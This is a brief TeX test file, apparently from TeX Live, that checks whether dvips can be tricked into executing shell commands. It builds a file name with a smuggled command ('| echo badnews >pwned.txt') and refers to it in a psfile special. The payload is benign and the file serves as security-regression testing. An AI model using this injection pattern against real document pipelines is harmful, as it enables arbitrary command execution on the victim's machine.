% $Id: write18-quote.tex 16695 2010-01-13 01:18:02Z karl $
% Public domain.  Originally written by Karl Berry,
% with ideas from Alexander Cherepanov.

\catcode`\# = 12
\def\cmd{" 2>&1 | echo badnews >pwned.txt #.gz"}

% create this weirdly-named file.
\catcode0 = 12
\immediate\openout1 \cmd^^@
\immediate\closeout1

% write out a special referring to it.
% if it exists when dvips is run, it will be executed with popen.
\special{psfile=\cmd}
\nopagenumbers
\end
